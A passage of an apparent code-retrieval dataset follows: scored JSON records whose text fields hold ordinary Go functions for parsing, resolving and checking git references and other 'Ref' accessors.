"eeacd3d170e1b1c3aa42dcaa28aa4ba9", "score": "0.4907052", "text": "func ParseGitRef(ref string) (*GitRef, error) {\n\tres := &GitRef{}\n\n\tif strings.HasPrefix(ref, \"github.com/\") {\n\t\tres.IndistinguishableFromLocal = true // Deprecated\n\t} else {\n\t\t_, proto := ParseProtocol(ref)\n\t\tswitch proto {\n\t\tcase UnknownProtocol:\n\t\t\treturn nil, errdefs.ErrInvalidArgument\n\t\t}\n\t\tswitch proto {\n\t\tcase HTTPProtocol, GitProtocol:\n\t\t\tres.UnencryptedTCP = true // Discouraged, but not deprecated\n\t\t}\n\t\tswitch proto {\n\t\t// An HTTP(S) URL is considered to be a valid git ref only when it has the \".git[...]\" suffix.\n\t\tcase HTTPProtocol, HTTPSProtocol:\n\t\t\tvar gitURLPathWithFragmentSuffix = regexp.MustCompile(`\\.git(?:#.+)?$`)\n\t\t\tif !gitURLPathWithFragmentSuffix.MatchString(ref) {\n\t\t\t\treturn nil, errdefs.ErrInvalidArgument\n\t\t\t}\n\t\t}\n\t}\n\n\tvar fragment string\n\tres.Remote, fragment, _ = strings.Cut(ref, \"#\")\n\tif len(res.Remote) == 0 {\n\t\treturn res, errdefs.ErrInvalidArgument\n\t}\n\tres.Commit, res.SubDir, _ = strings.Cut(fragment, \":\")\n\trepoSplitBySlash := strings.Split(res.Remote, \"/\")\n\tres.ShortName = strings.TrimSuffix(repoSplitBySlash[len(repoSplitBySlash)-1], \".git\")\n\treturn res, nil\n}", "title": "" }, { "docid": "cf92cd904658a815757bdeda2c2d7a39", "score": "0.487688", "text": "func (o *V3OrderIntegrationError) GetReferenceOk() (*string, bool) {\n\tif o == nil || o.Reference == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Reference, true\n}", "title": "" }, { "docid": "c61386a69fc7d1b6373ecc814cef24e3", "score": "0.4715759", "text": "func (o GitRepoSourceOutput) Ref() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v GitRepoSource) *string { return v.Ref }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "cf839b05bb461b22075fddc376f8acc2", "score": "0.4674791", "text": "func (r *gitRepo) findRef(hash string) (ref string, ok bool) {\n\tr.refsOnce.Do(r.loadRefs)\n\tfor ref, h := range r.refs {\n\t\tif h == hash {\n\t\t\treturn ref, true\n\t\t}\n\t}\n\treturn \"\", false\n}", "title": "" }, { "docid": "a85a5e947bb0a5dbe733ee9973e602b5", "score": "0.46170917", "text": "func CheckRefFormat(ctx context.Context, gitCmdFactory CommandFactory, refName string) (bool, error) {\n\tcmd, err := gitCmdFactory.NewWithoutRepo(ctx,\n\t\tSubCmd{\n\t\t\tName: \"check-ref-format\",\n\t\t\tArgs: []string{refName},\n\t\t},\n\t\tWithStdout(io.Discard),\n\t\tWithStderr(io.Discard),\n\t)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tif err := cmd.Wait(); err != nil {\n\t\tif code, ok := command.ExitStatus(err); ok && code == 1 {\n\t\t\treturn false, nil\n\t\t}\n\n\t\treturn false, err\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "9e573ac26bea528b40a66cc640cf75e3", "score": "0.4563809", "text": "func (s *TargetSource) GetRef() string {\n\treturn s.Ref\n}", "title": "" }, { "docid": "69a0b8dea82780bfa69140b12bb42b08", "score": "0.45524827", "text": "func isRef(ref string) bool {\n\trefErr := exec.Command(\n\t\t\"git\",\n\t\t\"show-ref\",\n\t\tref,\n\t).Run()\n\n\tif refErr != nil {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "9a8b488db7b486ee6d12234f2d6c5f11", "score": "0.4548942", "text": "func ResolveRef(s *schema.Schema, ref schema.Ref) schema.Type {\n\tname := strings.Replace(ref.Value, \"#/types/\", \"\", 1)\n\n\tfor _, t := range s.Types {\n\t\tif t.Name == name {\n\t\t\treturn t\n\t\t}\n\t}\n\n\tpanic(fmt.Sprintf(\"reference to undefined type %q\", ref.Value))\n}", "title": "" }, { "docid": "447fac9a2c6b138a67c65e426672d2c2", "score": "0.45059964", "text": "func GetRef(c *UpdateCommand) (targetRef *github.Reference, err error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\n\tref := fmt.Sprintf(\"heads/%s\", c.Config.Target)\n\ttargetRef, _, err = c.GithubClient.GetGit().GetRef(ctx, c.Config.Owner, c.Config.Repo, ref)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get $target ref: %w\", err)\n\t}\n\tif targetRef == nil {\n\t\treturn nil, fmt.Errorf(\"no $target ref, %s, was found\", c.Config.Target)\n\t}\n\treturn targetRef, nil\n}", "title": "" }, { "docid": "5742a5c0a7e791c3ae8588f6bc7b9006", "score": "0.4499674", "text": "func (t *Issue) GetRefType() string {\n\treturn t.RefType\n}", "title": "" }, { "docid": "25c36a243edd3608e0a5f087c71c5a31", "score": "0.44909275", "text": "func GetGitReferenceNameOrHashAndSubDirectory(url string, urlPath string) (\n\tplumbing.ReferenceName, plumbing.Hash, string, error) {\n\n\t// If path is empty, use HEAD.\n\tif urlPath == \"\" {\n\t\treturn plumbing.HEAD, plumbing.ZeroHash, \"\", nil\n\t}\n\n\t// Trim leading/trailing separator(s).\n\turlPath = strings.TrimPrefix(urlPath, \"/\")\n\turlPath = strings.TrimSuffix(urlPath, \"/\")\n\n\tpaths := strings.Split(urlPath, \"/\")\n\n\t// Ensure the path components are not \".\" or \"..\".\n\tfor _, path := range paths {\n\t\tif path == \".\" || path == \"..\" {\n\t\t\treturn \"\", plumbing.ZeroHash, \"\", errors.New(\"invalid Git URL\")\n\t\t}\n\t}\n\n\tif paths[0] == \"tree\" {\n\t\tif len(paths) >= 2 {\n\t\t\t// If it looks like a SHA, use that.\n\t\t\tif gitSHARegex.MatchString(paths[1]) {\n\t\t\t\treturn \"\", plumbing.NewHash(paths[1]), strings.Join(paths[2:], \"/\"), nil\n\t\t\t}\n\n\t\t\t// Otherwise, try matching based on the repo's refs.\n\n\t\t\t// Get the list of refs sorted by length.\n\t\t\trefs, err := GitListBranchesAndTags(url)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", plumbing.ZeroHash, \"\", err\n\t\t\t}\n\n\t\t\t// Try to find the matching ref, checking the longest names first, so\n\t\t\t// if there are multiple refs that would match, we pick the longest.\n\t\t\tpath := strings.Join(paths[1:], \"/\") + \"/\"\n\t\t\tfor _, ref := range refs {\n\t\t\t\tshortName := ref.Short()\n\t\t\t\tprefix := shortName + \"/\"\n\t\t\t\tif strings.HasPrefix(path, prefix) {\n\t\t\t\t\tsubDir := strings.TrimPrefix(path, prefix)\n\t\t\t\t\treturn ref, plumbing.ZeroHash, strings.TrimSuffix(subDir, \"/\"), nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// If there aren't any path components after \"tree\", it's an error.\n\t\treturn \"\", plumbing.ZeroHash, \"\", errors.New(\"invalid Git URL\")\n\t}\n\n\t// If there wasn't \"tree\" in the path, just use HEAD.\n\treturn plumbing.HEAD, plumbing.ZeroHash, strings.Join(paths, \"/\"), nil\n}", "title": "" }, { "docid": "21003bfa98971a9186f02be6fe84d708", "score": "0.44442397", "text": "func ParseRef(s string) (Ref, error) {\n\treturn ParseRefBytes([]byte(s))\n}", "title": "" }, { "docid": "148c63c21ded6703bc98dd44a039b2a1", "score": "0.44272965", "text": "func (o GitRepoSourceResponseOutput) Ref() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GitRepoSourceResponse) string { return v.Ref }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "76c83afe67f93e5dec625bfe94414c09", "score": "0.44208586", "text": "func (c *gitlabComment) Ref() string {\n\treturn c.url\n}", "title": "" }, { "docid": "0629cbf62a5cc079995871f49a87b941", "score": "0.43905142", "text": "func (o *V3OrderIntegrationError) GetReference() string {\n\tif o == nil || o.Reference == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Reference\n}", "title": "" }, { "docid": "dccea07da364964b4ea0af4f8f665d04", "score": "0.43468818", "text": "func (r *Repository) Reference(name plumbing.ReferenceName, resolved bool) (\n\t*plumbing.Reference, error) {\n\n\tif resolved {\n\t\treturn storer.ResolveReference(r.Storer, name)\n\t}\n\n\treturn r.Storer.Reference(name)\n}", "title": "" }, { "docid": "94c05abcae8832d771a12a35c2de8269", "score": "0.4333415", "text": "func RefExists(repoDir, ref string) (bool, error) {\n\t// Pass -- so that git knows that the argument after rev-parse is a ref\n\t// and not a file path.\n\tswitch _, err := Exec(repoDir)(\"rev-parse\", ref, \"--\"); {\n\tcase err == nil:\n\t\treturn true, nil\n\tcase strings.Contains(err.Error(), \"bad revision\"):\n\t\treturn false, nil\n\tdefault:\n\t\treturn false, err\n\t}\n}", "title": "" }, { "docid": "827b17e47e954910b993ba113b1893d4", "score": "0.43292385", "text": "func AsRef(name string) *duckv1.KReference {\n\tapiVersion, kind := GVK().ToAPIVersionAndKind()\n\treturn &duckv1.KReference{\n\t\tKind: kind,\n\t\tAPIVersion: apiVersion,\n\t\tName: name,\n\t}\n}", "title": "" }, { "docid": "827b17e47e954910b993ba113b1893d4", "score": "0.43292385", "text": "func AsRef(name string) *duckv1.KReference {\n\tapiVersion, kind := GVK().ToAPIVersionAndKind()\n\treturn &duckv1.KReference{\n\t\tKind: kind,\n\t\tAPIVersion: apiVersion,\n\t\tName: name,\n\t}\n}", "title": "" }, { "docid": "54fbcf6a18da02344832b9ed797b43e8", "score": "0.43288776", "text": "func (s Subnet) Ref() string {\n\tif s.ID != \"\" {\n\t\treturn fmt.Sprintf(\"%q\", s.ID)\n\t}\n\treturn fmt.Sprintf(`{\"Ref\" : \"%s\"}`, s.LogicalName())\n}", "title": "" }, { "docid": "af181676a903a7e32a8d1e59cf7df739", "score": "0.4320133", "text": "func (pl *Pool) RefByName(s string) (PoolRef, error) {\n\tfor i, x := range pl.strings {\n\t\tif s == x {\n\t\t\treturn PoolRef(i), nil\n\t\t}\n\t}\n\treturn 0, fmt.Errorf(\"PoolRef by name %q does not exist\", s)\n}", "title": "" }, { "docid": "bf571b1cfacd672fd551b6d4b7395042", "score": "0.43083158", "text": "func (p *Polymorph) CalcRef() (string, error) {\n\tif p.IsRef() {\n\t\treturn p.AsRef(), nil\n\t}\n\treturn CalcRef(p.ipfsURL(), p.raw)\n}", "title": "" }, { "docid": "7f679af99b4aec45c91bdeae0e14d8fb", "score": "0.4301317", "text": "func (o *VirtualizationVmwareVirtualMachineSnapshot) GetRefValueOk() (*string, bool) {\n\tif o == nil || o.RefValue == nil {\n\t\treturn nil, false\n\t}\n\treturn o.RefValue, true\n}", "title": "" }, { "docid": "afbd1dc1c8f19d70b91614e8566fa910", "score": "0.42951986", "text": "func ParseRef(traversal hcl.Traversal) (*Reference, hcl.Diagnostics) {\n\tref, diags := parseRef(traversal)\n\n\t// Normalize a little to make life easier for callers.\n\tif ref != nil {\n\t\tif len(ref.Remaining) == 0 {\n\t\t\tref.Remaining = nil\n\t\t}\n\t}\n\n\treturn ref, diags\n}", "title": "" }, { "docid": "fac622631383e7cdcc1e0a58f69c9bf9", "score": "0.42805687", "text": "func (r *Repo) GetFile(ref, path string) (res string, err error) {\n\n\tvar hash plumbing.Hash\n\tif plumbing.IsHash(ref) && !strings.HasPrefix(strings.ToLower(ref), \"refs\") {\n\t\thash = plumbing.NewHash(ref)\n\t} else {\n\t\treference, err := r.Reference(plumbing.ReferenceName(ref), true)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\thash = reference.Hash()\n\t}\n\n\tcommit, err := r.CommitObject(hash)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttree, err := commit.Tree()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttargetEntry, err := tree.FindEntry(path)\n\tif err != nil {\n\t\tif err == object.ErrEntryNotFound {\n\t\t\treturn \"\", ErrPathNotFound\n\t\t}\n\t\treturn \"\", err\n\t} else if targetEntry.Mode == filemode.Dir {\n\t\treturn \"\", ErrPathNotAFile\n\t}\n\n\tfile, err := tree.TreeEntryFile(targetEntry)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn file.Contents()\n}", "title": "" }, { "docid": "8d89dd5c9992af5672fcc8ba55880ae1", "score": "0.4267955", "text": "func (r *Resolver) GetCommit(ctx *Context, ref *Reference) (*gitplumbingobject.Commit, error) {\n\tif err := ref.Validate(); err != nil {\n\t\treturn nil, err\n\t}\n\n\terr := r.Fetch(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trepository, err := r.Clone(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar hash gitplumbing.Hash\n\tswitch {\n\tcase ref.Commit != nil:\n\t\thash = gitplumbing.NewHash(*ref.Commit)\n\n\tcase ref.Branch != nil:\n\t\trefName := gitplumbing.ReferenceName(fmt.Sprintf(\"refs/remotes/origin/%s\", *ref.Branch))\n\t\tgitRef, _ := repository.Reference(refName, false)\n\t\tif gitRef == nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid branch name %v\", *ref.Branch)\n\t\t}\n\n\t\thash = gitRef.Hash()\n\n\tcase ref.Tag != nil:\n\t\trefName := gitplumbing.ReferenceName(fmt.Sprintf(\"refs/tags/%s\", *ref.Tag))\n\t\tgitRef, _ := repository.Reference(refName, false)\n\t\tif gitRef == nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid tag name %v\", *ref.Tag)\n\t\t}\n\n\t\thash = gitRef.Hash()\n\n\tcase ref.Version != nil:\n\t\trng, err := semver.ParseRange(*ref.Version)\n\n\t\t// If the tag is not a semver range, just use the tag\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"version is not a valid semver range\")\n\t\t}\n\n\t\tversions, err := r.Versions(ctx, rng)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif len(versions) == 0 {\n\t\t\treturn nil, fmt.Errorf(\"no tags match the requested version\")\n\t\t}\n\n\t\ttag := versions[len(versions)-1]\n\t\tref = &Reference{Tag: &tag}\n\t\treturn r.GetCommit(ctx, ref)\n\t}\n\n\treturn repository.CommitObject(hash)\n}", "title": "" }, { "docid": "7cb12ea404840a7a15e8f12eb588d85b", "score": "0.42635384", "text": "func (m ExecutionReport) GetSymbol() (v string, err quickfix.MessageRejectError) {\n\tvar f field.SymbolField\n\tif err = m.Get(&f); err == nil {\n\t\tv = f.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "c766ac1b03997bea3dacf7a00255fa63", "score": "0.4253651", "text": "func (r *RefResolver) ResolveLookupRef(lookupRef, callerRef string) interface{} {\n\n\t// get lookup name from lookupRef\n\ttable, key, _ := getLookupName(lookupRef)\n\n\t// resolve key, if it is a reference\n\tresolvedKey := r.ResolveStrRef(key, callerRef)\n\n\t// check if key is still an unresolved reference\n\tif reflect.TypeOf(resolvedKey).Kind() == reflect.String && isRef(resolvedKey.(string)) {\n\t\tzap.S().Debugf(\"failed to resolve key ref: '%v'\", key)\n\t\treturn lookupRef\n\t}\n\n\t// resolve table, if it is a ref\n\tlookup := r.ResolveStrRef(table, callerRef)\n\n\t// check if lookup is a map\n\tif reflect.TypeOf(lookup).String() != \"map[string]interface {}\" {\n\t\tzap.S().Debugf(\"failed to resolve lookup ref %q, table name %q into a map, received %v\", lookupRef, table, reflect.TypeOf(lookup).String())\n\t\treturn lookupRef\n\t}\n\n\t// check if key is present in lookup table\n\tresolved, ok := lookup.(map[string]interface{})[resolvedKey.(string)]\n\tif !ok {\n\t\tzap.S().Debugf(\"key %q not present in lookup table %v\", key, lookup)\n\t\treturn lookupRef\n\t}\n\n\tzap.S().Debugf(\"resolved lookup ref %q to value %v\", lookupRef, resolved)\n\treturn resolved\n}", "title": "" }, { "docid": "af63ece596b43ad79d2c5588e9617d0c", "score": "0.42477733", "text": "func (s *Schema) resolveRef(revArr []*Schema) error {\n\tif s.kind == schemaBool {\n\t\treturn nil\n\t}\n\tif !s.isRef {\n\t\tfor _, v := range s.schemaImpl.svMap {\n\t\t\tswitch v.svType {\n\t\t\tcase svObject:\n\t\t\t\trv := v.value.(map[string]*Schema)\n\t\t\t\tfor _, y := range rv {\n\t\t\t\t\tif err := y.resolveRef(revArr); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase svArray:\n\t\t\t\trv := v.value.([]*Schema)\n\t\t\t\tfor _, y := range rv {\n\t\t\t\t\tif err := y.resolveRef(revArr); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase svSchema:\n\t\t\t\trv := v.value.(*Schema)\n\t\t\t\tif err := rv.resolveRef(revArr); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\t// Here, the schema is ref schema.\n\n\tif s.refSchema != nil {\n\t\treturn nil\n\t}\n\n\tts, err := s.getSchema()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !ts.isRef || (ts.isRef && ts.refSchema != nil) {\n\t\ts.refSchema = ts\n\t\treturn nil\n\t}\n\n\t// Add self to detect circle reference.\n\trevArr = append(revArr, s)\n\tfor i := 0; i < len(revArr); i++ {\n\t\tif revArr[i] == ts {\n\t\t\treturn fmt.Errorf(\"'$ref' circle detected: [%s, %s]\",\n\t\t\t\trevArr[i].ref, ts.ref)\n\t\t}\n\t}\n\n\terr = ts.resolveRef(revArr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif ts.refSchema == nil {\n\t\treturn fmt.Errorf(\"failed to find $ref %s\", s.ref)\n\t}\n\ts.refSchema = ts\n\treturn nil\n}", "title": "" }, { "docid": "658d45c4135b8696af9a46950550bf5e", "score": "0.4247484", "text": "func (o *WeakRef) GetRef() gdnative.Variant {\n\t//log.Println(\"Calling WeakRef.GetRef()\")\n\n\t// Build out the method's arguments\n\tptrArguments := make([]gdnative.Pointer, 0, 0)\n\n\t// Get the method bind\n\tmethodBind := gdnative.NewMethodBind(\"WeakRef\", \"get_ref\")\n\n\t// Call the parent method.\n\t// Variant\n\tretPtr := gdnative.NewEmptyVariant()\n\tgdnative.MethodBindPtrCall(methodBind, o.GetBaseObject(), ptrArguments, retPtr)\n\n\t// If we have a return type, convert it from a pointer into its actual object.\n\tret := gdnative.NewVariantFromPointer(retPtr)\n\treturn ret\n}", "title": "" }, { "docid": "420000581b4b27001a1635928f4a63bc", "score": "0.42472225", "text": "func (o *Development) GetSymbolOk() (*string, bool) {\n\tif o == nil || o.Symbol == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Symbol, true\n}", "title": "" }, { "docid": "93f6da5a1472ac270075cb9316d6af82", "score": "0.41980663", "text": "func Parse(ref string) (Named, error) {\n\tif ok := regRef.MatchString(ref); !ok {\n\t\treturn nil, ErrInvalid\n\t}\n\n\tname, tag, digStr := splitReference(ref)\n\tnamedRef := namedReference{name}\n\n\tif digStr != \"\" {\n\t\tdig, err := digest.Parse(digStr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif tag == \"\" {\n\t\t\treturn canonicalDigestedReference{\n\t\t\t\tNamed: namedRef,\n\t\t\t\tdigest: dig,\n\t\t\t}, nil\n\t\t}\n\n\t\treturn reference{\n\t\t\tNamed: namedRef,\n\t\t\ttag: tag,\n\t\t\tdigest: dig,\n\t\t}, nil\n\t}\n\n\tif tag != \"\" {\n\t\treturn taggedReference{\n\t\t\tNamed: namedRef,\n\t\t\ttag: tag,\n\t\t}, nil\n\t}\n\treturn namedRef, nil\n}", "title": "" }, { "docid": "f433bb736fd604422c0080a7b2165386", "score": "0.4164639", "text": "func (p *parser) parseSymbolicReferencePath() (*symbolicRefPathStmt, error) {\n\tbranchName, err := p.parseBranchName()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trefPath, err := p.parseRefPath()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &symbolicRefPathStmt{\n\t\tbranchName: branchName,\n\t\trefPath: refPath,\n\t}, nil\n}", "title": "" }, { "docid": "c8588a2eff3ad5ee4a4b200f79d6db67", "score": "0.4163421", "text": "func (c *Client) ResolveReference(path string) string {\n\tbaseStr := c.URL\n\tif baseStr == \"\" {\n\t\tbaseStr = DefaultBaseURL\n\t}\n\tbaseURL, err := url.Parse(baseStr)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\trefURL, err := url.Parse(path)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\treturn baseURL.ResolveReference(refURL).String()\n}", "title": "" }, { "docid": "69431866cd242fffff436415a3000b79", "score": "0.41605616", "text": "func parseSchemaRef(s string) (Ref, error) {\n\n\tterm, err := ParseTerm(s)\n\tif err == nil {\n\t\tswitch v := term.Value.(type) {\n\t\tcase Var:\n\t\t\tif term.Equal(SchemaRootDocument) {\n\t\t\t\treturn SchemaRootRef.Copy(), nil\n\t\t\t}\n\t\tcase Ref:\n\t\t\tif v.HasPrefix(SchemaRootRef) {\n\t\t\t\treturn v, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil, errInvalidSchemaRef\n}", "title": "" }, { "docid": "03348ffb2e026593e54abb32ca73a67a", "score": "0.41519213", "text": "func (x *Font) Ref() *C.Font {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref70a6a7ec\n}", "title": "" }, { "docid": "7fa0283851f1686c0daf6e5e1e718667", "score": "0.41482085", "text": "func verifyPushRemoteRef(ctx context.Context, git *gittool.Tool, remote string, ref gitobj.Ref) error {\n\tremotes, _ := listRemotes(ctx, git)\n\tif _, isRemote := remotes[remote]; isRemote {\n\t\tpushURL, err := git.RunOneLiner(ctx, '\\n', \"remote\", \"get-url\", \"--push\", \"--\", remote)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tremote = string(pushURL)\n\t}\n\tp, err := git.Start(ctx, \"ls-remote\", \"--quiet\", remote, ref.String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"verify remote ref %s: %v\", ref, err)\n\t}\n\tdefer p.Wait()\n\trefBytes := []byte(ref)\n\ts := bufio.NewScanner(p)\n\tfor s.Scan() {\n\t\tconst tabLoc = 40\n\t\tline := s.Bytes()\n\t\tif tabLoc >= len(line) || line[tabLoc] != '\\t' || !isHex(line[:tabLoc]) {\n\t\t\treturn errors.New(\"parse git ls-remote: line must start with SHA1\")\n\t\t}\n\t\tremoteRef := line[tabLoc+1:]\n\t\tif bytes.Equal(remoteRef, refBytes) {\n\t\t\treturn nil\n\t\t}\n\t}\n\tif s.Err() != nil {\n\t\treturn fmt.Errorf(\"verify remote ref %s: %v\", ref, err)\n\t}\n\tif err := p.Wait(); err != nil {\n\t\treturn fmt.Errorf(\"verify remote ref %s: %v\", ref, err)\n\t}\n\treturn fmt.Errorf(\"remote %s does not have ref %s\", remote, ref)\n}", "title": "" }, { "docid": "6b8e591549f28933d017ec2f6592c8cc", "score": "0.4146829", "text": "func (s *Symbols) GetSymbol(name string) (*SymbolRecord, error) {\n\tval, ok := s.sym[name]\n\tif ok {\n\t\treturn val, nil\n\t}\n\n\treturn nil, fmt.Errorf(\"Address symbol %q does not exist\", name)\n}", "title": "" }, { "docid": "bacd5e348a5e502d8effb467d77e7d27", "score": "0.41406393", "text": "func ParseRef(b *bytes.Buffer) (r Ref, err error) {\n\tvar line string\n\tif line, err = b.ReadString(' '); err != nil {\n\t\treturn\n\t}\n\tr.name = line\n\tr.hash, err = ParseHashString(string(b.Next(40)))\n\treturn\n}", "title": "" }, { "docid": "105f54f7bb2214863ac09778dc0d4140", "score": "0.41279975", "text": "func (x *_DarwinMmstReg) Ref() *C.struct___darwin_mmst_reg {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref89d6b8d7\n}", "title": "" }, { "docid": "3eb21620d5ea6c441231cb520d60be6e", "score": "0.41253796", "text": "func computeRefHash(dir string) ([]byte, error) {\n\t// Do not use CommandContext since this is a fast operation we do not want\n\t// to interrupt.\n\tcmd := exec.Command(\"git\", \"show-ref\")\n\tcmd.Dir = dir\n\toutput, err := cmd.Output()\n\tif err != nil {\n\t\t// Ignore the failure for an empty repository: show-ref fails with\n\t\t// empty output and an exit code of 1\n\t\tif e, ok := err.(*exec.ExitError); !ok || len(output) != 0 || len(e.Stderr) != 0 || e.Sys().(syscall.WaitStatus).ExitStatus() != 1 {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tlines := bytes.Split(output, []byte(\"\\n\"))\n\tsort.Slice(lines, func(i, j int) bool {\n\t\treturn bytes.Compare(lines[i], lines[j]) < 0\n\t})\n\thasher := sha256.New()\n\tfor _, b := range lines {\n\t\thasher.Write(b)\n\t\thasher.Write([]byte(\"\\n\"))\n\t}\n\thash := make([]byte, hex.EncodedLen(hasher.Size()))\n\thex.Encode(hash, hasher.Sum(nil))\n\treturn hash, nil\n}", "title": "" }, { "docid": "c3d65f5c45d4a047ab87fad91a6781aa", "score": "0.41197044", "text": "func (r *Repo) CurrentRef() (current *Ref, err error) {\n\tr.load_refs()\n\tcmd,out,_ := r.Git(\"symbolic-ref\",\"HEAD\")\n\terr = cmd.Run()\n\tif err == nil {\n\t\t// If we did not get an error, then out has the symbolic ref\n\t\t// of the branch we are on.\n\t\trefname := strings.TrimSpace(out.String())\n\t\treturn r.refs[refname],nil\n\t}\n\t// Otherwise, we need to rev-parse HEAD to get what we are currently on.\n\tcmd,out,_ = r.Git(\"rev-parse\",\"HEAD\")\n\tif err = cmd.Run(); err != nil {\n\t\t// Something Bad has happened.\n\t\treturn nil,err\n\t}\n\trefname := strings.TrimSpace(out.String())\n\t// Make a raw ref our of this.\n\treturn &Ref{Path: refname, SHA: refname, r: r},nil\n}", "title": "" }, { "docid": "54f1067c4705707582e0e24ab4761911", "score": "0.4114834", "text": "func (x *Ray) Ref() *C.Ray {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.refc546b0b2\n}", "title": "" }, { "docid": "e2f3d08b9fbc216430c751d4b33b3bd3", "score": "0.41098815", "text": "func getIssueFromRef(repo *models.Repository, index int64) (*models.Issue, error) {\n\tissue, err := models.GetIssueByIndex(repo.ID, index)\n\tif err != nil {\n\t\tif models.IsErrIssueNotExist(err) {\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn issue, nil\n}", "title": "" }, { "docid": "c5dea57a60e751fa6d57c044a0103e19", "score": "0.4109087", "text": "func DecodeRef(t abstraction.RefType, r []byte) (abstraction.Ref, error) {\n\tswitch t {\n\tcase RefUint8:\n\t\treturn Uint8(0).Decode(r)\n\tcase RefUint16:\n\t\treturn Uint16(0).Decode(r)\n\tcase RefUint32:\n\t\treturn Uint32(0).Decode(r)\n\tcase RefUint64:\n\t\treturn Uint64(0).Decode(r)\n\n\tcase RefInt8:\n\t\treturn Int8(0).Decode(r)\n\tcase RefInt16:\n\t\treturn Int16(0).Decode(r)\n\tcase RefInt32:\n\t\treturn Int32(0).Decode(r)\n\tcase RefInt64:\n\t\treturn Int64(0).Decode(r)\n\n\tcase RefUint128:\n\t\treturn (*Uint128)(nil).Decode(r)\n\tcase RefUint256:\n\t\treturn (*Uint256)(nil).Decode(r)\n\tcase RefInt128:\n\t\treturn (*Int128)(nil).Decode(r)\n\tcase RefInt256:\n\t\treturn (*Int256)(nil).Decode(r)\n\n\tcase RefString:\n\t\treturn String(\"\").Decode(r)\n\tcase RefBytes:\n\t\treturn Bytes(nil).Decode(r)\n\tcase RefBool:\n\t\treturn Bool(false).Decode(r)\n\tcase RefUnknown:\n\t\treturn Undefined, nil\n\t}\n\tpanic(fmt.Errorf(\"unknown reference type: %v\", ExplainGVMType(t)))\n}", "title": "" }, { "docid": "48a76e78304809f87b8cae887364867a", "score": "0.41078913", "text": "func (x *_DarwinX86DebugState64) Ref() *C.struct___darwin_x86_debug_state64 {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref85d3ff91\n}", "title": "" }, { "docid": "0be7c4cd323880e8c579ef6760a263e6", "score": "0.41034383", "text": "func (repo *Repository) Sha1FromLooseRef(ref string) (core.Sha1, error) {\n\tlooseRef := &format.Ref{Name: ref}\n\tpath := looseRef.Path(repo.Path())\n\n\tfile, err := os.Open(path)\n\tif os.IsNotExist(err) {\n\t\treturn core.Sha1{}, ErrRefNotFound\n\t} else if err != nil {\n\t\treturn core.Sha1{}, err\n\t}\n\tdefer file.Close()\n\n\tif err := looseRef.Decode(file); err != nil {\n\t\treturn core.Sha1{}, err\n\t}\n\n\treturn looseRef.Sha1, nil\n}", "title": "" }, { "docid": "554053a80c1fa9be7c5ed96fa73b73e2", "score": "0.41008875", "text": "func (x *CharInfo) Ref() *C.CharInfo {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref702c36c0\n}", "title": "" }, { "docid": "b20510209727bc182ff7de033370998e", "score": "0.40991274", "text": "func (r *Ref) String() string {\n\n\tif r.referenceURL != nil {\n\t\treturn r.referenceURL.String()\n\t}\n\n\tif r.HasFragmentOnly {\n\t\treturn fragmentRune + r.referencePointer.String()\n\t}\n\n\treturn r.referencePointer.String()\n}", "title": "" }, { "docid": "2a6c56148b8718ee0cce6b822ba8cdad", "score": "0.4082516", "text": "func (o *IntegrationInstanceStat) GetRefType() string {\n\treturn o.RefType\n}", "title": "" }, { "docid": "6e3aecf8ba671e1488cf9851f0e6394c", "score": "0.4077682", "text": "func RepoRefForAPI(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\tctx := GetAPIContext(req)\n\n\t\tif ctx.Repo.GitRepo == nil 